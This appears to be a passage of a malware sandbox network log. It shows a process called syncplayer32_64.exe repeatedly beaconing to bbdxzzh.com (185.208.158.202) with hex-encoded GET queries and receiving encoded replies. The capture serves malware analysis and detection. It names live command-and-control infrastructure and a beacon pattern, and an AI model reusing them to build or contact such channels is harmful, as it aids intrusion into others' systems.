Nov 5, 2024 02:14:49.768349886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 34 66 30 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 63 38 31 63 34 35 39 66 65 38 62 64 32 65 39 31 66 31 65 66 35 61 32 35 63 65 39 31 35 38 35 62 63 63 66 62 35 66 62 63 34 30 61 64 39 30 38 38 62 65 38 64 65 32 32 36 36 65 32 30 38 61 36 62 62 39 64 35 39 32 64 65 62 37 36 35 62 62 33 37 34 66 30 36 37 62 37 33 32 35 36 63 30 65 30 64 35 30 65 63 61 34 32 63 64 37 64 62 30 31 62 66 64 33 32 38 38 33 38 65 33 31 36 62 38 36 37 63 37 35 61 61 35 65 61 34 65 65 37 35 62 37 66 34 33 65 63 32 66 36 36 39 34 33 64 37 39 38 63 66 66 31 32 64 65 65 64 39 30 39 39 32 35 63 39 36 61 39 63 31 33 64 38 35 30 38 66 32 31 62 37 35 30 62 36 66 37 35 65 32 39 65 34 36 35 64 62 66 34 36 37 62 30 38 39 65 35 64 30 34 61 65 36 33 35 63 38 31 65 33 30 34 33 35 38 32 35 65 30 33 62 37 31 30 62 37 38 62 65 65 63 38 37 66 64 38 36 32 64 35 31 65 64 35 64 37 32 32 35 65 30 32 39 35 62 65 39 66 64 65 30 38 62 65 34 33 66 37 32 61 33 65 37 34 33 39 32 38 34 66 62 37 31 32 36 31 [TRUNCATED] Data Ascii: 4f067b68a8a3203a77b0418f55f677c81c459fe8bd2e91f1ef5a25ce91585bccfb5fbc40ad9088be8de2266e208a6bb9d592deb765bb374f067b73256c0e0d50eca42cd7db01bfd328838e316b867c75aa5ea4ee75b7f43ec2f66943d798cff12deed909925c96a9c13d8508f21b750b6f75e29e465dbf467b089e5d04ae635c81e30435825e03b710b78beec87fd862d51ed5d7225e0295be9fde08be43f72a3e7439284fb71261abf76ee98c2ac64d4621b293960a653ceddad322fb3cb10b900b0bc33bdccd532772b04d730eb13e5d0bd0251d33712da54dced629d25bd975ea2e2dbaec52521bf66bfec0e85a1bc7650a187f421a6ff858f01ef10e144805268c9bfc0fdd84a6ca09aeb24ae7c881136ac3cd538d49501cb5db53a0c1e4fc8d76c423a54659bfe8f2c26654f10cfc9b40e12fbd1a6e8d8306179e43c8fc0050b4096aec11d4b42ca7b7244314debdbd1ccf0ca589d3e6f50fc7c2a8729a8cb90758b54c08c2b1d036983f59def060ea02d94d9107a09dc37ccf49a01742b779e2b03ec5d587f628546dbb8a3e73fa2d9c70e50882ed6415493b3d460d8503bb768e92524ad66805603cea2a5b06ea3c506964ed6dec04aaa18a941f5b3b46585af2ea225300c37cc827b1af7a3cf4e6ceb28262b131bd52faa47a5149149c3a1c09355fb418d9eb1c92904d32d27a48b5fc95619034ad [TRUNCATED]
Nov 5, 2024 02:14:49.768363953 CET	236	IN	Data Raw: 33 66 36 62 35 31 64 63 38 66 35 37 32 62 34 65 35 66 63 66 35 31 64 32 61 37 31 64 65 30 31 63 37 63 36 31 63 61 32 34 34 66 66 34 65 32 62 36 63 62 30 64 66 34 32 62 61 38 64 31 37 30 39 33 33 66 37 63 63 33 30 63 66 63 30 39 65 63 33 64 61 62 Data Ascii: 3f6b51dc8f572b4e5fcf51d2a71de01c7c61ca244ff4e2b6cb0df42ba8d170933f7cc30cfc09ec3dab16794dc302f2d0b38a47f2af0bff4a7b53d18cda2cb9d48f5f3a1463309bd4744e1eb5940edf41a61a9f78ec9f394eafd983becc486ea5adb234b15962ffee422f0fc3da9b4cc05eb650
Nov 5, 2024 02:14:52.597651005 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:52.920176029 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:14:53.041950941 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:53.989474058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 34 36 30 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 63 38 66 63 66 66 35 31 65 31 39 65 62 62 64 35 35 65 39 30 33 63 61 66 66 38 64 65 37 39 35 38 37 34 64 38 30 34 37 64 31 65 34 64 63 32 61 33 30 61 31 35 32 66 66 64 36 63 64 30 37 32 39 65 39 37 64 35 39 61 64 37 35 66 36 36 63 61 38 33 32 35 33 64 65 66 63 64 33 30 62 64 65 34 31 63 38 37 65 61 65 31 34 66 61 33 39 38 66 32 36 65 34 31 30 61 64 36 37 63 63 35 36 61 35 65 32 34 36 65 34 34 34 37 36 34 61 66 32 32 64 36 31 39 66 33 65 36 37 38 65 66 34 31 30 63 38 65 61 38 62 39 38 33 65 63 65 37 31 39 35 31 35 63 36 35 37 38 66 32 30 62 35 35 39 62 33 65 39 35 34 32 30 65 34 37 66 63 63 66 65 37 66 61 37 38 65 65 38 64 32 35 34 65 37 33 37 63 65 31 63 33 31 35 64 35 61 32 30 65 38 32 34 37 62 30 61 37 38 62 38 65 63 38 34 65 30 38 37 32 38 35 38 66 38 35 64 37 33 32 35 66 34 32 65 35 64 66 37 66 63 65 63 38 64 66 33 33 63 36 35 61 35 65 64 34 65 38 63 38 35 66 65 37 33 33 39 31 [TRUNCATED] Data Ascii: 46067b69c953804b26b565fe95b321bd19a55fc8fcff51e19ebbd55e903caff8de795874d8047d1e4dc2a30a152ffd6cd0729e97d59ad75f66ca83253defcd30bde41c87eae14fa398f26e410ad67cc56a5e246e444764af22d619f3e678ef410c8ea8b983ece719515c6578f20b559b3e95420e47fccfe7fa78ee8d254e737ce1c315d5a20e8247b0a78b8ec84e0872858f85d7325f42e5df7fcec8df33c65a5ed4e8c85fe733911be69e59ccbb265da6a062d2f65a456d0dcaa272fbac104b900b9a239bec0d53275340cd234f512eed4b4064fd23f18c555d2ed61992ea99640a6e4daa9c03b23b579bee8149aa8bd6d5ba799f521a4f484861fed1fea589e4e6ccdabc0fbd85465a09fe43faf74890432b523d23fc39e05cf43b732071653cad76e573f577b82fa902c2b7e4d13c7c8b21013fdddb9ebde2a7d7bf93a84dc01084a9caac4034745dc756b58304bfdd0d4ceeecb5195366d4efe7c3f8b2aa8c990618b55c1922119086b9cf79eea130eae2a94da17701dde35d2f5920d7c34719d3509e55e587c678452dbbea2f935a7d4c814528d2dc3435185acd565cc553ba969e2252cb664805f1ccca2baac6ba4de0f9450d7d9c841ac10b743feaeb87b9aa62eb42d350829c68a7a16e8a1cb4d79e9263f34151ddf30a940bb1d9242d7a5c8934bf2488d9eb2c3350fd72939a58154c051070244d [TRUNCATED]
Nov 5, 2024 02:14:53.989487886 CET	92	IN	Data Raw: 30 66 37 61 62 31 66 63 30 65 38 37 32 61 66 65 33 65 33 66 30 30 32 32 31 37 35 64 39 31 66 63 35 63 66 31 33 61 63 35 39 66 65 34 62 32 33 37 39 62 33 64 33 34 31 62 61 38 64 31 34 30 30 32 37 66 34 63 66 32 65 63 64 63 39 39 63 64 64 64 38 62 Data Ascii: 0f7ab1fc0e872afe3e3f0022175d91fc5cf13ac59fe4b2379b3d341ba8d140027f4cf2ecdc99cddd8b0530

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:14:54.118097067 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:55.039716005 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:14:55.165520906 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:56.088007927 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:14:56.212852001 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:57.128855944 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:14:57.238260031 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:57.544930935 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:14:57.665504932 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:58.581949949 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:14:58.691534042 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:14:58.994968891 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49766	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:14:59.120238066 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:00.072999001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49772	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:00.199671984 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:01.120040894 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49778	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:01.243930101 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:02.187577963 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49784	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:02.306371927 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:03.241441011 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49795	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:03.368532896 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:04.281600952 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49801	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:04.415895939 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:05.349641085 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:05.457112074 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:05.765630007 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49807	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:05.884589911 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:07.624946117 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:07.625124931 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:07.625180960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49813	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:07.796719074 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:08.712713003 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49824	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:08.837677956 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:09.741288900 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49830	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:09.869139910 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:10.792814016 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49835	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:10.916002989 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:11.835649014 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49841	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
